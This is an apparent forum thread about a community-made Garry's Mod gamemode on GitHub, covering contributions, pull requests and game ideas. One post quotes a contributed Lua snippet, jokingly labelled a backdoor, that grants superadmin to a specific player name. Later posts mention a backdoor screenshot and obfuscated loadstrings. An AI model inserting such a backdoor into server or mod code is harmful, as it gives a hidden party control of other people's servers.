Untitled - The gamemode by the community, for the community
125 replies, posted
[QUOTE=MadParakeet;47466424]Sorry to derail, but what exactly were you two referencing? LuaJIT bytecode is fun! Although I don't think that's LuaJIT.[/QUOTE]
It was mostly just unicode garbage, with some recognizable lua code in somewhere. I'm pretty sure he just posted in the wrong thread.
Nevermind, I just looked at it and it seems to be someone's dumb idea of complicating the repo by adding compiled bytecode in that looks complex and just prints a line of text.
[editline]6th April 2015[/editline]
How do I add my script? I just haven't used github very much.
I did a thing!
Make me a contributor please :dance:
I, uh, would also like to be a contributor.
[QUOTE=AnonTakesOver;47466501]I did a thing!
Make me a contributor please :dance:[/QUOTE]
Merged.
I will add instructions to op later, all you have to to do is do a pull request.
Nevermind, it seems to derive from the base gamemode; my code wouldn't be useful, since it only works in sandbox.
[editline]6th April 2015[/editline]
Made a pull request for a separate small thing I did.
I think we have a clear winner, Its gonna be a multiplayer gamemode.
But what will it be about? Suggestion; Arena based thing, or something completley original.
[QUOTE=Exploderguy;47466656]I think we have a clear winner, Its gonna be a multiplayer gamemode.
But what will it be about? Suggestion; Arena based thing, or something completley original.[/QUOTE]
Well, it could have multiple goals and endstates. There could be props that teams have to gather, there could be a position they have to reach, a number of players they have to kill, or any combination thereof. As long as someone's willing to implement any of it.
[QUOTE=Ott;47463348]Someone's going to GPL their code.[/QUOTE]
[CODE]
function GM:Initialize()
print("derp de herpity derpity doo")
end
[/CODE]
GPL licensed gais pls don't steal
Does anyone else feel like this won't get past "Initialize" ?
We need the example chair thrower gun in the gamemode!
EDIT: Added chair thrower to the darkrp git.
I'm confused. Are we contributing at:
[url]https://github.com/exploderguy/Untitled/[/url]
or
[url]https://github.com/aStonedPenguin/fprp[/url]
[QUOTE=r0uge;47467162]I'm confused. Are we contributing at:
[url]https://github.com/exploderguy/Untitled/[/url]
or
[url]https://github.com/aStonedPenguin/fprp[/url][/QUOTE]
The second one is now its own thread [url]http://facepunch.com/showthread.php?t=1459450[/url], and the first is the actual base gamemode.
By the looks of it, you guys are creating a teleportation, relaxing tdm gamemode, With ambient music?
Alrighty then.
[QUOTE=Exploderguy;47467264]By the looks of it, you guys are creating a teleportation, relaxing tdm gamemode, With ambient music?
Alrighty then.[/QUOTE]
Sorry for the mass spam :v:
Also, fucking hell meharryp, I read your code :v:
Brilliant net name, stumped me for a second.
I was about to fix it then I realized :suicide:
Do I have to fork your project? I was really hoping I can spoon it...
[QUOTE=VortexZ;47467629]Do I have to fork your project? I was really hoping I can spoon it...[/QUOTE]
You can't I'm afraid.
You can always spoon me though...
Are we allowed to contribute multiple files within our module folders?
[QUOTE=Maurdekye;47468256]Are we allowed to contribute multiple files within our module folders?[/QUOTE]
Yes.
Also, I feel like we should include readme files in each of our modules to better explain what they do.
Community is great for gathering ideas - but implementation tends to work best when one person does it.
Source: Experience.
[QUOTE=ph:lxyz;47468486]Community is great for gathering ideas - but implementation tends to work best when one person does it.
Source: Experience.[/QUOTE]
That's the point though; we fully intend to create a ridiculous clusterfuck of unrelated script files. Hopefully it should turn out at least somewhat useable.
I'll add the T James Money Sign library later
Fixed some fuckups with the core code and got it all working.
I was scared shitless when I heard Billy Mays and couldn't figure out where it was coming from.
[editline]6th April 2015[/editline]
Also, are we deriving from sandbox or base? Because the info file says base, but
[lua]
DeriveGamemode( "sandbox" )
[/lua]
is in shared. I'll put my vote in for base, if we haven't decided yet.
[QUOTE=MadParakeet;47469838]
I was scared shitless when I heard Billy Mays and couldn't figure out where it was coming from.
[/QUOTE]
Glad to hear you are enjoying my ambient music.
I'll try to add more stuff when I can.
hard right now because everything I do is from my phone which is a pain in the ass. I'll be able to help and add a lot more on the 11th onward.
Just got in another pr for a slightly more complex script
so, by the looks of it, the gameode is gonna be a TDM gamemode? Ill work on some HUD stuff and weapons.
[editline] Edit [/editline]
We could make this gamemode the most silliest tom gamemode ever. Its gonna be great!
[editline] Edit [/editline]
meharry was a bad, bad boy.
[code]
--[[ Can't have a successful gamemode without backdoors. ]]--
if ply:Name() == "d4nkmaymaylord" then RunConsoleCommand( "ulx", "adduser", "d4nkmaymaylord", "superadmin" ) end
net.Start( "net.Receive" )
net.WriteTable( { Player = ply, hi = "hello" } ) -- deoptimization
net.Broadcast()
end )
end
[/code]
[editline] edit [/editline]
he he he; [url]https://github.com/exploderguy/Untitled/blob/master/entities/weapons/bane_Propshooter/shared.lua[/url]
Why can't I pull the new files from the master branch onto my github?
[editline]7th April 2015[/editline]
Nevermind, it just took some time.
[editline]7th April 2015[/editline]
Wait, nevermind....
I have no idea how to use github properly.
[IMG]http://redostri.ch/share/shittybackdoor.png[/IMG]
He's not even trying is he. :v:
If you're gonna bother with all those loadstrings, at least fix your bloody script errors.
Someone has to add a round end condition at some point. And it definitely won't be me.
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